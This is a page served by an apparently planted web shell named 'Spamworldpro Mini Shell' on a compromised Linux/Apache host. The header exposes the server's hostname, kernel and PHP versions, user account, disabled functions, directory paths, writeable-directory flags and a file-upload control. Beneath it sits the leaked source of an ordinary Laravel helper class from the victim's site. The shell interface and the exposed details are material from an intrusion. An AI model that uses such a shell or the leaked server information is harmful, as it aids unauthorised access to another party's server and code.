Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/mcoil.corals.io/app/Helper/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/mcoil.corals.io/app/Helper/Helper.php
<?php
namespace App\Helper;
use Illuminate\Support\Facades\Route;
 use App\Shop\Pages\Creator; 
 use App\Shop\Orders\Order;
class Helper{
    public static function formatDate($date = '', $format = 'Y-m-d') {
        if($date == '' || $date == null)
            return;
        return date($format,strtotime($date));
    }

    public static function accordionSection($id=null) {
        $section = [];

        return self::collectify($section,$id);
    }

    public static function bannerSection($id=null) {
        $section = [
            ['id'=>'contact-us', 'value'=>'CONTACT US']
        ];

        return self::collectify($section,$id);
    }

    public static function categorySection($id=null) {
        $section = [];
        return self::collectify($section,$id);
    }

    public static function iconSection($id=null) {
        $section = [];
        return self::collectify($section,$id);
    }

    public static function getRouteList($id='',$whereIn=[]) {
        $routeList = ['dining'=>'dining'];
        //$routeList[]=Creator::pluck('title','slug')->all();
        $routeCollection = Route::getRoutes();
        foreach ($routeCollection as $rk => $route) {
            if(!empty($route->getName())) {
                $routeList[$rk]['id'] = $route->getName(); 
                $name = preg_split( "/(@|,|;|\.|-| )/",$route->getName());
                $routeList[$rk]['value'] = ucwords(implode(' ',$name)); 
            }
            // echo $route->getActionName();
            // echo $route->uri();
        }
        return self::collectify(array_values($routeList),$id,$whereIn);
        //return $routeList;
    }

    public static function getPages($id='',$whereIn=[]) {
        $pages = [
            ['id'=>'home', 'value'=>'Home']
        ];
        return self::collectify($pages,$id,$whereIn);
    }

    public static function collectify($dataArr=[], $id='', $whereIn=[]) {
        $dataArr = collect($dataArr);
        if(!empty($whereIn)) {
            $dataArr = $dataArr->whereIn('id',$whereIn);
        }
        if($id) {
            $dataArr = $dataArr->where('id',$id);
            //foreach because collection returns the array in id index 
            foreach ($dataArr as $k => $v) {
                if($id == $v['id']) {
                    $dataArr = $dataArr[$k];
                }
            }
        }
        return $dataArr;
    }
    
    public static function getCustomerOrders($id){
        $orders = Order::where('customer_id',$id)->first();
        if($orders){
            return true;
        }else{
            return false;
        }
    }
}

Spamworldpro Mini